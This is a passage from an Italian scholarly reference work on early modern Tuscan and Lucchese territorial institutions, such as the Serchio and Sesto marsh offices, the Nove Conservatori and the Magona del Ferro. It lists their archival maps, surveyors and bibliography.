Pianta delle praterie di Brolio situate nella fattoria di Montecchio della Sacra Religione di Santo Stefano, Jacopo Gugliantini, 1783 (ASF, Scrittoio delle RR. Possessioni, f. 3874, c. 206);
Pianta delle Praterie di Brolio situate nella Fattoria di Montecchio, 1783-87 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 52);
Piante delle Fabbriche della Fattoria di Montecchio, Jacopo Gugliantini ingegnere, 1798 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 323) (“copiato e ridotto”);
Pianta della Fattoria di Montecchio nella Val di Chiana dell’Insigne Militare Ordine di Santo Stefano, Jacopo Gugliantini, 1806 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 219/1-4i);
Pianta dei Poderi Terzo e Quarto di Brolio appartenenti alla Fattoria di Montecchio della Religione di S. Stefano, 1809 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 51).
Fattoria di Creti:
Piante delle Fabbriche della nuova Fattoria di Creti, Jacopo Gugliantini, 1798 (ASF, Piante topografiche dello Scrittoio delle Regie Possessioni, n. 325) (“copiato e ridotto”);
Pianta della nuova Fattoria di Creti della Religione di Santo Stefano, Jacopo Gugliantini, fine del sec. XVIII -inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 139);
Pianta della Fattoria di Creti, Jacopo Gugliantini, fine del sec. XVIII secolo – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 141);
Fattoria di Creti, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 140);
Pianta geometrica che dimostra l’attual colmata della Mucchia nella Fattoria di Creti, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 237);
Pianta della Fattoria di Creti, Jacopo Gugliantini, 1808 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 142);
Colmata della Mucchia nella Fattoria di Creti, Jacopo Gugliantini, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 143).
Fattoria del Pozzo:
Disegno della Facciata per la nuova Fattoria della Tenuta del Pozzo dalla parte dello Stradone che porta al Canal Maestro, desunto dalla Pianta al medesimo respettiva, ove vi è notato ancora la misura delle altezze dei piani e lo delle finestre e porta d’ingresso, fine del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 267);
Pianta della Tenuta del Pozzo della Fattoria di Font’a Ronco dell’Ordine di S. Stefano, seconda metà del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 265);
Pianta dimostrativa della Tenuta del Pozzo in Val di Chiana, fine del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 268);
Disegno della Facciata per la nuova Fattoria della Tenuta del Pozzo dalla parte dello Stradone che porta al Canal Maestro, desunto dalla Pianta al medesimo respettiva, ove vi è notato ancora la misura delle altezze dei piani e lo delle finestre e porta d’ingresso, inizi del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 267);
Pianta della Colmata da farsi col Fiume Esse nella Tenuta del Pozzo, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 157);
Piante, prospetti e vedute della fabbrica della nuova Fattoria del Pozzo con riduzione ed ampliamento di edifici antichi ubicati nelle vie del Filo e degli Olmi, Jacopo Gugliantini, 1806 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 158/1-6);
Pianta della Tenuta addetta alla nuova Fattoria del Pozzo in Val di Chiana, Jacopo Gugliantini ingegnere, 1807 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 266/1-2).

Fattoria di Tegoleto:
Poderi di Dorna a Uliveto, Dorna Rotta, S. Caterina e Granaio nella Fattoria di Tegoleto in Val di Chiana, seconda metà del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 84/1-3)
Pianta geometrica della Fabbrica e annessi posta nel Comune di Tegoleto Comunità di Civitella, 1808 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 292);
Pianta dei Poderi della Tenuta del Tegoleto nella Val di Chiana, Jacopo Gugliantini, 1808 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 293/1-2).

Fattorie del territorio pisano – Badia San Savino:
Pianta di tutti i beni dell’Ill.ma, e Sacra Relig.ne de Cav.ri di S. Stef.no posti nella Tenuta di Mortaiolo e Prato e Terra lavorativa che gode l’Ill.ma Relig.ne nella Tenuta di Mortaiolo, Francesco Gaeta agrimensore, 1696-97 (ASP, Santo Stefano, n. 10);
Pianta del podere della Venerosa nel pop. di S. Donato a Montione della Badia di S. Savino, 1700 (ASP, Santo Stefano, n. 16);
Pianta di tutte le Prata delle Sedici dell’Ill.ma Sacra Religione di Santo Stefano P. e M. (…), Giovanni Domenico Rinaldi, 1714 (ASP, Santo Stefano, n. 6);
Terre nel Comune di Mortaiolo Log: D.o nel Faldo, anzi Nugola e Terre Pratate in Com: di Castell’Anselmo, Giovanni Domenico Rinaldi, 1725 (ASP, Santo Stefano, n. 7);
Terreni e Casa nel Com. ne di S. Donato a Montione, Bartolomeo Bonistalli, 1730 (ASP, Santo Stefano, n. 15);
Cabreo dei poderi, Pier Francesco Paoli, 1743 (ASP, Santo Stefano, n. 46);
Pianta dei Beni componenti già la Fattoria della Badia San Savino dell’Ordine di Santo Stefano allivellati a Diversi, Ranieri M. Dini, Francesco Antonio Giari, Giuseppe Gini, Giovanni Franceschi (ingegnere dell’Ordine) e Giovanni Domenico Riccetti (dell’Ufficio dei Fiumi e Fossi di Pisa), 1774-76 (ASP, Santo Stefano, n. 53);
Pianta delle praterie del Faldo della Fattoria della Badia S. Savino dell’Insigne Ordine di S. Stefano, poste nel Comune di Mortajolo, Potesteria di Cascinai, Giovanni Franceschi ingegnere, 1775 (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 399);
Libro di Piante dei Beni componenti l’alienata Fattoria della Badia a San Savino (…), Giovanni Caluri, 1791 (ASP, Santo Stefano, n. 49). Fattoria di Lavaiana:
[Pianta della fattoria di Lavaiana], 1624 (ASP, Santo Stefano, n. 37b);
Mappa del podere di Rigone o Corbinello e della presa La Girotta, Filippo Santini, 1732 (ASP, Santo Stefano, n. 29);
Fattoria della Vaiana, Francesco Betti, 1774-76 (ASP, Santo Stefano, n. 48).
Fattorie della Val d’Elsa e Val di Pesa. l Pino:
Pianta di Beni della Fattoria del Pino, diversi autori, fra cui Pietro Lucij da Vico “Agrimensore con Diploma”, Valeriano Carniani, Gaetano Del Re, Giovan Battista Montelatici, Francesco Renzi, Luca Antonio Billi, 1775-77 (ASP, Santo Stefano, n. 50).

Operatori

Ingegneri statali: Andrea Sandrini (fine XVI-inizio XVII secolo); Giuliano Ciaccheri (fine XVII secolo); Francesco Gaeta (1660-inizi XVIII secolo); Michele Gori? (1680 ca.); Giovanni Franchi (inizio XVIII secolo); Filippo Santini (inizio XVIII secolo); Giovanni Domenico Rinaldi (inizio XVIII secolo); Giovanni Caluri (fine XVIII-inizio XIX secolo); Luigi Orlandi (ingegnere, dal 1746); Giovanni Maria Veraci (ingegnere, in carica dal 1755 e fino al 1776 ca.); Giovanni Franceschi (aiuto ingegnere dal 1769); Jacopo Gugliantini (ingegnere, 1783-1808); Giuseppe Manetti (aiuto ingegnere dal 1802).
Agrimensori e periti locali: Giovan Battista Ruscelli, Niccolò Montomoli e Bartolomeo Bonistalli (tutti nel primo Settecento); Francesco Betti (1774-76); Pier Francesco Paoli (1743); Ranieri Maria Dini, Francesco Antonio Giari e Giuseppe Gini (tutti nel 1774-76); Pietro Lucii, Valeriano Carniani, Gaetano Del Re, Giovan Battista Montelatici, Francesco Renzi e Luca Antonio Billi (tutti nel 1775-77); Giovan Domenico Riccetti (seconda metà XVIII-inizi XIX secolo); Francesco Riccetti (inizi XIX secolo).

Rferimenti bibliografici e archivistici

Barsanti, 1984; Barsanti, 1987; Barsanti, a cura di, 1991; Barsanti, a cura di, 1997; Barsanti, Previti e Sbrilli, a cura di, 1989; Biagianti, 1990; Breschi et al., 1981; Pietro Leopoldo d’Asburgo Lorena, 1969, I; Giglia, 1997; Ginori Lisci, 1978; Ginori Lisci, 1985; Guarducci, 2002; Guarducci e Rombai, 1999; Orefice, 1982; Rombai, 1997a; Rombai, 1997b; Rombai, Toccafondi e Vivoli, 1987. La documentazione utilizzata è conservata nei ricchissimi fondi dell’ASF (Scrittoio delle RR. Possessioni e Piante topografiche dello Scrittoio delle RR. Possessioni) e dell’ASP (Ordine di Santo Stefano).

Anna Guarducci (Siena)

Offizio sopra il Fiume Serchio (1505-1801) (Stato di Lucca)

Ufficialmente istituito nel 1505 – nonostante siano state realizzate opere anche precedentemente alla sua istituzione attinenti alla stessa tematica – l’Offizio cessa le sue attività nel 1801.
Le operazioni di regimazione e di contenimento delle acque del Serchio hanno occupato e preoccupato per molto tempo i vari governanti e amministratori del territorio intorno a Lucca. Le inondazioni e i conseguenti lavori per rinsaldare le campagne e i centri abitati alluvionati si sono succeduti purtroppo con puntuale frequenza e una conseguente inefficienza delle opere di contenimento; a tal proposito nacque il detto di costare quanto il Serchio ai lucchesi.
In origine, la cura e la realizzazione dei lavori necessari alla regimazione del Serchio fu affidata ad un gruppo di persone esperte (Operai) che soprintendevano alle opere; già nello Statuto del Comune di Lucca del 1372 è un capitolo specifico nel quale si incaricavano gli Anziani di monitorare il fiume, prendere decisioni riguardo al suo mantenimento e nominare le persone appropriate a svolgere tali operazioni. Questa impostazione si protrasse per ancora più di un secolo provvedendo soltanto straordinariamente ad istituire “Deputazioni di cittadini addetti a’ ripari”, come “si credesse inutile una continua vigilanza”.
La magistratura che doveva organizzare e tutelare il più importante bacino idrografico dello Stato lucchese venne definitivamente istituita con un decreto datato 21 febbraio 1505, con cui il Consiglio Generale deliberava che fosse formata da tre cittadini che avevano ampia autorità di decisione. Successivamente intervennero altri provvedimenti che ne modificarono la struttura – nel 1538 fu innalzato a sei il numero di cittadini che ne facevano parte – o gli ambiti territoriali d’intervento, ma la sostanza della magistratura rimase la stessa fino alla data fatidica del 1801, momento in cui l’Offizio fu soppresso e nacque il Comitato Generale di Acque e Strade che ne assorbì tutte le attività.
Le ovvie finalità per cui la magistratura fu creata erano la pianificazione della regolamentazione del corso del fiume che, avendo caratteristiche nettamente torrentizie, spesso si andava ad innestare con drammatica veemenza nel precario e incerto piano di scolo di tutta la pianura lucchese. Per far fronte a queste problematiche gli interventi approntati nel corso degli anni furono numerosi, fra cui, assolutamente degni di nota, sono i lavori richiesti nell’ottobre del 1538 in cui si provvide alla regimazione del Serchio all’interno di un solo alveo a sud di Ponte a Moriano; le procedure di riarginatura dello stesso eseguite nel XVIII secolo assieme al posizionamento di alcune “scogliere”, e la costruzione della strada tra il fiume e il monte San Quirico.

Produzione cartografica

Gran parte della produzione che fu elaborata da questa deputazione è stata assorbita in seguito dal Commissariato sulle Acque e Strade, ma un’importante documentazione è ancora presente nel fondo relativo al Serchio, in particolare: Terrilogi per Pasture, in ASLu, Offizio sopra il Serchio, f. 42-44; Mappa del Circondario o Ripartimento del Serchio, autore Gregorio Natalini, in ASLu, Offizio sopra il Serchio, f. 115.

Operatori

Giovanni Attilio Arnolfini (ingegnere, direttore dell’Offizio per numerosi anni, opera nella seconda metà del XVIII secolo); Piero della Lena (pubblico agrimensore, 1559); Eustachio Manfredi (ingegnere, 1671); Giorgio Martinelli (pubblico agrimensore, 1778); Giuseppe Maria Serantoni (metà XVIII secolo); Gregorio Natalini (primi decenni del XVII secolo).

Riferimenti bibliografici e archivistici

Azzari, 1993; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bedini e Fanelli, 1998; Bongi, 1872-1888; Matteucci, 1913. ASLu, Offizio sopra il Serchio.

Giulio Tarchi (Siena)

Offizio sopra i Paduli di Sesto (1560-1801) (Stato di Lucca)

Questa magistratura nasce nel 1560 quando, con nomina del 5 novembre, fu decretata l’istituzione di un Offizio che si occupasse delle trattative con la controparte papale proprietaria di alcuni territori circostanti il Lago di Sesto. Per svolgere tali operazioni, furono eletti tre componenti che furono affiancati anche da un altro Offizio – chiamato dei Diciotto perché formato appunto dai sei membri dell’Offizio sopra le differenze, dai tre dell’Offizio sopra l’Ozzeri e Rogio e da altri nove cittadini – che doveva “dirigere la bonificazione, dar nuovo scolo al Lago ed ai Paduli, e coll’abbassamento acquistare gran tratto di campagna all’agricoltura”.
Terminati i negoziati con la Curia romana, finirono anche le ragioni per il mantenimento della legazione preposta a tali mansioni, ma non quelle affidate all’Offizio dei Diciotto che venne riconfermato vari anni a seguire. Si giunse così al conferimento, con decreto del 13 ottobre 1570, di ogni autorità sopra la regimazione, la bonifica e la manutenzione dei vari canali e dei paduli di Sesto, nelle mani di sei cittadini lucchesi; e tale decisione venne suggellata il 30 gennaio 1590, momento in cui si stabilì definitivamente l’istituzione dell’Offizio sopra i Paduli di Sesto, formato da tre possidenti interessati e da tre non interessati, che aveva appunto come compito la “cura di provvedere ai lavori ordinari e straordinari attorno a’ Paduli ed alle fosse contigue, che si facevano col concorso degli interessati, i quali poi venivano gravati per la maggior parte di spesa”.
Nel corso degli anni la magistratura sopra i Paduli ricevette anche altre commissioni speciali da parte del Consiglio Generale della città, che svolse in alcuni casi assieme a cittadini aggiunti, oppure con l’Offizio sopra le Differenze, o con la Deputazione sopra l’Ozzeri e Rogio o ancora con l’Offizio sopra il Serchio.
Da tale attività si evince come i problemi riguardanti i Paduli di Sesto erano molti e di genere diversificato, in quanto attorno alle rive dei chiari bientinesi si assisteva, oltre alle già citate problematiche di bonifica, anche a dibattute controversie di confini – non solo fra proprietari o fra diverse amministrazioni lucchesi, ma soprattutto fra i possedimenti della Repubblica e del confinante Stato fiorentino – e le più ampie opere di sistemazione idraulica della piana e delle marine.
Come la maggior parte delle istituzioni dello Stato lucchese, anche l’Offizio sopra i Paduli di Sesto nel 1801, al tempo del terzo Governo democratico, venne accorpato, assieme ad altre magistrature che in passato si erano occupate di politiche territoriali. Dapprima, a seguito della legge del 9 gennaio 1801, fu creato il Comitato Generale su cui si accentravano tutte le faccende riguardanti “le acque, fabbriche, strade etc.”, e quindi, dopo molteplici variazioni di denominazione e di pertinenza amministrativa, fu definito il Commissariato sopra le Acque e Strade che ne assorbì tutti i compiti e le autorità.

Produzione cartografica

All’interno di questo fondo sono conservate numerose carte che affrontano i molteplici aspetti per risolvere i quali la deputazione fu appositamente istituita, ovvero le controversie di confine e di giurisdizione, e i vari approcci di sistemazione territoriale che portavano adesso ad una soluzione di bonifica con emissario verso l’Arno, ora con la proposta di passare da nord-ovest per giungere direttamente alla costa della Versilia.
Tale documentazione è conservata all’interno del fondo dell’ASLu, Offizio sopra i Paduli di Sesto, in particolare nelle filze n. 45 e 46 sono contenute varie produzioni cartografiche eseguite fra il XVI e il XVIII secolo, mentre nelle filze n. 58 e 59 vi sono documenti risalenti a partire dal XII secolo fino a tutto il XVI.
Fra queste mappe sono sicuramente da segnalare dettagliatamente alcune di esse:
[Disegno e descrizione del Lago di Sesto], Giovan Battista Boccella, Agostino Pergola e Giuseppe Civitale, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 42); Disegno del Lago di Sesto, Simone da Gagliano e Pietro della Lena, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 1r); Disegno di alcuni beni in Villora di Compito fra il Rogio e la via, Benedetto Samminiati e Agnello Scarpellini, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 2r); Cartone del lago di Sesto verso Porcari (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 3r); [Linea rossa sui territori a ovest del Lago] (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 4r); [In Paganico per vendere] (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 5r); [Possedimenti del Ducato di Lucca], Giovan Battista Bocella, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 6r); Cartone dei beni comunali da vendersi nel territorio di Compito, 1562 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 8r); Cartone del Lago di Sesto verso Porcari, Giovanni Massei e Agnello Scarpellini, fine XVI secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 9r); Disegno del Padule di Castelvecchio al Lago di Sesto, 1562 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 10r); [Prati del Diodati con beni], Nicolao Diodati (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 11r); [Possedimenti tra il Rogio e la Fossa Nera], Giovanni Massei e Agnello Scarpellini, dopo 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 13r); Cartone delle terre fatte fare da Nicolao Diodati, Nicolao Diodati, 1674 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 26r); Carta dell’inondazione delle campagne lucchesi e granducali causata dall’ostruzione della Serezza, 1755 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 1r); Territorio […] per l’escrescenza del lago di Sesto […]; Giuseppe Civitali, Augustino Pergola, Giovan Battista Bocella, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 2r); Mappa del lago di Sesto con l’indicazione dei luoghi adiacenti, Domenico Monti e Antonio Capannetti, 1795 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 3r); Disegno del Lago di Sesto del 1590 fatto e sorto d’accordo da ministri lucchesi e fiorentini, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 7); Disegno della Serezza, Giuseppe Natalini, 1720 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 8r); Cartone e Relazione del lago di Sesto per le Sei fatto dai bientinesi in quel luogo, Giulio Ambrogio Giannetti, 1727 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 20r); Copia del Disegno del corso della Nuova e Vecchia Serezza con tutte le loro ragioni e pertinenze Corrispondenti alle loro Capitulazioni, Giuseppe Natalini, XVIII secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 21r); [Il canale Rogio presso il campo Brancacci], Simone Diogi e Z.ne Bacchi, 1786 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 22r); Pianura tra Lucca e Porcari, XV secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 59, cc. 4 e 15).

Operatori

Zenone Bacchi (1786); Giovan Battista Bocella (1560); Antonio Capannetti (1795); Giuliano Ciaccheri (1699); Giuseppe Civitale (1560); Nicolao Diodati (1674); Simone Diogi (1786); Simone da Gagliano (1590); Giulio Ambrogio Giannetti (1727); Pietro della Lena (1590); Giovanni Massei (fine XVI secolo); Domenico Merli (perito ingegnere, 1795); Domenico Monti (1795); Joseph/Giuseppe Natalini (1708, perito ingegnere, ricoprì per molti anni la carica di fattore dell’Offitio a partire dal 1717); Augustino Pergola (1560); Alessandro Resta (1579); Sebastiano Roccatagliata (1638); Geminiano Rondelli (1710); Benedetto Samminiati (1590); Agnello Scarpellini (1590); Leonardo Ximenes (1761-1763).

Riferimenti bibliografici e archivistici

Azzari, 2001, pp. 89-106; Azzari, 1993; Barsanti e Rombai, 1994; Bongi, 1872-1888; Caciagli, 1984; Ximenes, 1782; Pierotti, 1981; Zagli, 2001. ASLu, Offizio sopra i Paduli di Sesto.

Giulio Tarchi (Siena)

Nove Conservatori e Confini (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Nove Conservatori del Dominio e della Giurisdizione fiorentina (1560-1769)

Auditore delle Riformagioni e Avvocato Regio (1782-1859)

Con decreto del 26 febbraio 1560, il Magistrato dei Consiglieri della Repubblica fiorentina sopprimeva le magistrature degli Otto di Pratica e dei Cinque Conservatori del Contado e Dominio fiorentino per sostituirle con il nuovo magistrato dei Nove Conservatori del dominio e della giurisdizione fiorentina.
La nuova Magistratura si componeva di cinque membri dell’Ordine dei Quarantotto, di due membri del Consiglio dei Dugento e di due cittadini. In essa veniva trasferita e consolidata tutta l’autorità, le giurisdizioni e i privilegi delle due precedenti magistrature, e quindi il controllo sull’amministrazione delle comunità e dei luoghi pii e la tutela dei beni comunitativi dell’intero Stato “vecchio”, escluso quindi lo Stato senese; la Magistratura provvedeva inoltre a determinare e ripartire fra le comunità del distretto una imposta generale detta “Chiesto dei Nove” ed infine riscuoteva ed amministrava le decime del contado.
I Nove avevano inoltre la giurisdizione sul delicato problema del controllo dei confini dello Stato, che dovevano “mantenere”, limitarsi cioè, in quanto organo puramente esecutivo, alla conservazione dei confini precedentemente accertati in maniera definitiva. Infatti, nelle trattative per le nuove confinazioni e in quelle per le rettificazioni e correzioni di una certa rilevanza, continuò a prendere parte diretta il sovrano, nel cui nome tali affari erano trattati in particolare dall’Auditore delle Riformagioni oppure dal Consiglio Privato o Pratica Segreta.
Anche i Nove, come del resto altre magistrature (ad es. lo Scrittoio delle RR. Possessioni), non avevano al loro servizio tecnici stabili, utilizzando di volta in volta i tecnici imborsati o al servizio della magistratura dei Capitani di Parte, con la quale nel settore delle strade si verificò per tutto il periodo mediceo un continuo conflitto di competenze. Nel 1606 Ferdinando I stabilì pertanto che il Soprassindaco dei Nove e il Provveditore dei Capitani di Parte avessero insieme la competenza sull’attività degli Agenti di strade, emanando nello stesso anno le “Istruzioni agli agenti di strade” per una migliore organizzazione del lavoro.
Il decreto del 20 luglio 1691 nominava un ingegnere fisso a servizio dei Nove Conservatori nella persona di Guliano Ciaccheri, con una provvisione di 60 scudi l’anno più lire 10 da pagarsi dalle comunità per la giornata di lavoro nelle aree di pertinenza. Altri tecnici al servizio dei Nove furono Alfonso Parigi, Giovanni Giorgio Kindt (ingegnere stabile dal 1756), Lorenzo Tommasi (1766), Giovanni Franchi (1736); intorno alla metà del XVIII sec. fu direttore del Magistrato dei Nove il lorenese Jadot.
Le funzioni della magistratura del Nove rimasero invariate fino al 1769 quando, con mp del 22 giugno, Pietro Leopoldo soppresse i Nove e i Capitani di Parte, sostituendo ad ambedue la Camera delle Comunità e dei Luoghi Pii.
L’archivio dei Nove passò dapprima alla Camera delle Comunità, poi, con mp del 12 marzo 1782, venne istituito un apposito Archivio dei Confini, concentrato nell’Archivio delle Riformagioni e posto alle dipendenze dell’Avvocato Regio, al quale era affidata la periodica ispezione dei confini stessi; data la sua importanza politica, l’Archivio dei Confini rimase alle dipendenza dell’Avvocato Regio anche dopo la fondazione dell’Archivio Centrale di Stato, in cui confluì soltanto nel 1865.

Produzione cartografica

Tra le carte del fondo ASF, Nove Conservatori, si segnalano in particolare:
“Fortezze, fabbriche e muraglie” 1542-1769, registri e filze 97;
filza 3596: “Notizie istoriche del Magistrato dei Nove”;
filza 1338: “Rapporti dei Capimaestri dal 25 agosto 1558 al 13 giugno 1589”. Si tratta di una filza di relazioni e perizie rimesse alla Magistratura da capimastri e da ingegneri su confinazioni di beni, danni recati, risarcimenti e lavori da farsi a fiumi, strade, mulini, fabbriche dipendenti dalla Magistratura stessa.
Le rappresentazioni cartografiche relative al controllo dei confini, svolto dai Nove Conservatori fino al 1769 e in seguito dall’Auditore delle Riformagioni e dall’Avvocato Regio sono nel fondo ASF, Confini, suddiviso in Piante antiche dei Confini (XVI sec.-1782) e Piante moderne dei confini (1782-1859): comprende 230 piante e 10 registri, per un totale di circa 1000 disegni.
Alcune piante relative alla questione dei confini sono rintracciabili anche in ASF, Miscellanea di Piante (nn. 37, 54/a-c, 75, 77, 107, 135, 233, 293bis/g, 293bis/r, 334, 486/a–f, 500, 503, 530, 533, 539, 539/a–d, 541, 543, 746), che sono probabilmente «da collegare all’attività di uffici come la Pratica Segreta o l’Auditore delle Riformagioni, che trattarono affari di confinazione per speciale incarico del sovrano» (cfr. Rombai, Toccafondi e Vivoli, a cura di, 1987, p. 36).

Operatori

Alfonso Parigi; Giovanni Giorgio Kindt (ingegnere stabile, dal 1756, 1768); Lorenzo Tommasi (1766); Jadot (anni ’40 del XVIII secolo); Gabbriello Ughi; Salvatore Piccioli (1780); Giacomo Benassi (1783); Luigi Kindt (1788); Matteo Masotti (1788); Francesco Fei (1785); Giovanni Maria Veraci (1722, 1727 e 1744); Matteo Vinzoni (1744); Donato Maria Fini (1744); Antonio Capretti (1782); Antonio Matteo Lancisi (1731); Pietro Brunetti (1838, 1846, “Ingegnere delle Riformagioni e Confini”); Gaetano Masotti (1772); Giulio Cerruti (1687); Gaetano Tortoli (1828); Ferdinando Ruggieri (1723); Ferdinando Morozzi (XVIII sec.); Pietro Paolo Calini o Casini (XVIII sec.); Filippo Grobert (1779); Stefano Pasi (1779); Stefano Diletti (1786); Pietro Ferroni (1778); Giuseppe Salvetti (1778); Innocenzio Fazzi (metà del XVIII sec.); Angiolo Maria Mascagni (1762); Pietro Pellegrini (1762); Masseangeli (1696); Tommaso Massini (1641); Giulio Gentili (1789); Gherardo Mechini (1608 e 1613-1614); Lorenzo Petroni (1613-1614); Neri Zocchi; Paolo Priè (1613); Michele Piazzini (1767); Antonio Capretti (1784); Cantagallina (1616); Dionisio Mazzuoli (1725); Piero Antonio Montucci (1739); Alessandro Nini (1783); Bernardo Marmori (1674); Egidio Maria Bordoni (ingegnere pontificio); Giovanni Franchi (1708, 1736); Dario Giuseppe Buonenove (1697); Girolamo Rinaldi (ingegnere pontificio); Michele Ciocca o Ciocchi (1620); Eustachio Manfredi (1724); Giuliano Ciaccheri (ingegnere, dal 1683, 1691, 1696); Giovanni Cristoforo Lorain (1683); Giovanni Azzi (1683); Michele Gori (1697, 1699); Pasquino Boncinelli (1722); Valentino Follini (1729); Marco Pisani (1729); Giuliano Anastasi (o Anastagi, 1734); Landini (1668); Pier Antonio Tosi (1721); Francesco Martinelli (1626); Bergamini (1708); Bartolomeo Ceriolo (1647); Baccio del Bianco (1647); Flaminio Sanminiati (lucchese, 1604); Filippo Lasagnini (1604); Giulio Ambrogio Giannetti (1724); Giuseppe Santini (1695); Giovan Francesco Gabbrielli (lucchese, 1697); Giuseppe Peraccini (1696); Andrea Fabbri (1735); Giovan Battista Pini (1732); Ercole Antonio Buonaccorsi (1732); Matteo Pampani; Francesco Bombicci (1771); Romano Duccini (1771); Tommaso Gaetano Pellegrini (lucchese, 1782); Giovanni Petri (1767); Francesco Fantoni (1635); Bernardo Sansone Sgrilli (1731).

Riferimenti bibliografici e archivistici

Bellinazzi e Manno Tolu, 1995; Casali et Al., 1985; Casali e Diana, 1983; Di Pietro e Fanelli, 1973; Fasano Guarini, 1977, pp. 490-538; Guida generale agli Archivi di Stato italiani, 1983, p. 74; Mantovani, 1987; Orefice, 1984, pp. 119-128; Pisa. Iconografia a stampa dal XV al XVIII secolo, 1992; Raffo Maggini, a cura di, 2001; Rombai, 1983; Rombai, 1987; Rombai e Sorelli, 1992; Rombai, Toccafondi e Vivoli, a cura di, 1987; Toccafondi e Vivoli, 1993; Vivoli, 1993; Vivoli, 1994; Vivoli, 2003; ASF, Nove Conservatori del Dominio e della Giurisdizione fiorentina; ASF, Piante dei Confini; ASF, Piante antiche dei Confini (XVI sec.-1782); ASF, Piante moderne dei Confini (1782-1859); ASF, Miscellanea di Piante.

Rosamaria Martellacci (Siena)

Magona del Ferro (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Magona del Ferro (1542-1816)

Amministrazione Imperiale e Reale delle Miniere e Magona (1816-1835)

I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro (1835-1851)

Amministrazione “Cointeressata Bastogi” (1851-1881)

La Magona del Ferro fu l’ufficio statale creato dal granduca Cosimo I dei Medici nel 1542 per gestire in regime di monopolio – mediante vari stabilimenti alimentati dalla forza idraulica dei corsi d’acqua locali e dal carbone vegetale dei boschi anche privati circostanti, via via costruiti o riconvertiti a Pistoia, nella sua campagna e nella Montagna Pistoiese (San Felice, Piastrelle, Candeglia, Capodistrada, Malconsiglio, Pracchia, Piteccio, Mammiano, Piteccio), nelle Apuane di Pietrasanta (Ruosina, Seravezza, Argentiera, Gatto, Cansoli, Cardoso) e nelle Maremme di Pisa e Siena (Cecina, Campiglia Marittima, Valpiana e Accesa) – l’importante e strategica industria della fusione in vari altoforni dei minerali ferrosi estratti nell’isola d’Elba, nonché di raffinazione e lavorazione del ferro greggio in innumerevoli ferriere e distendini o altre officine, con la vendita nel Granducato e all’estero dei prodotti (ghisa, semilavorati, manufatti vari per usi civili e militari).
Gli impianti della Magona – dopo una fase di declino e di gestione dell’azienda affidata ad appaltatori privati (1737-67) – sotto il principato di Pietro Leopoldo vennero dettagliatamente descritti nel 1768 dal visitatore e magoniere Carlo Setticelli, e in seguito notevolmente potenziati anche con l’apertura dei nuovi stabilimenti di Sestaione e Cutigliano nella Montagna Pistoiese, nonostante l’abolizione nel 1781 della privativa statale della fabbricazione e vendita del ferro. A tali interventi innovativi fece però seguito la chiusura dello stabilimento di Campiglia Marittima.
Nel 1814, con il passaggio al Granducato del Principato di Piombino, la Magona ereditò le miniere elbane e lo stabilimento siderurgico di Follonica, e con ciò l’industria statale poté irrobustirsi ulteriormente.
Nel 1816 fu cambiata la ragione sociale con la creazione dell’Amministrazione Imperiale e Reale delle Miniere e Magona, detta anche “Regia Mista” perché aperta al contributo di imprenditori privati ed inizialmente affidata alla gestione (fino al 1828, allorché lo Stato ne riassunse la guida) dei medesimi capitalisti.
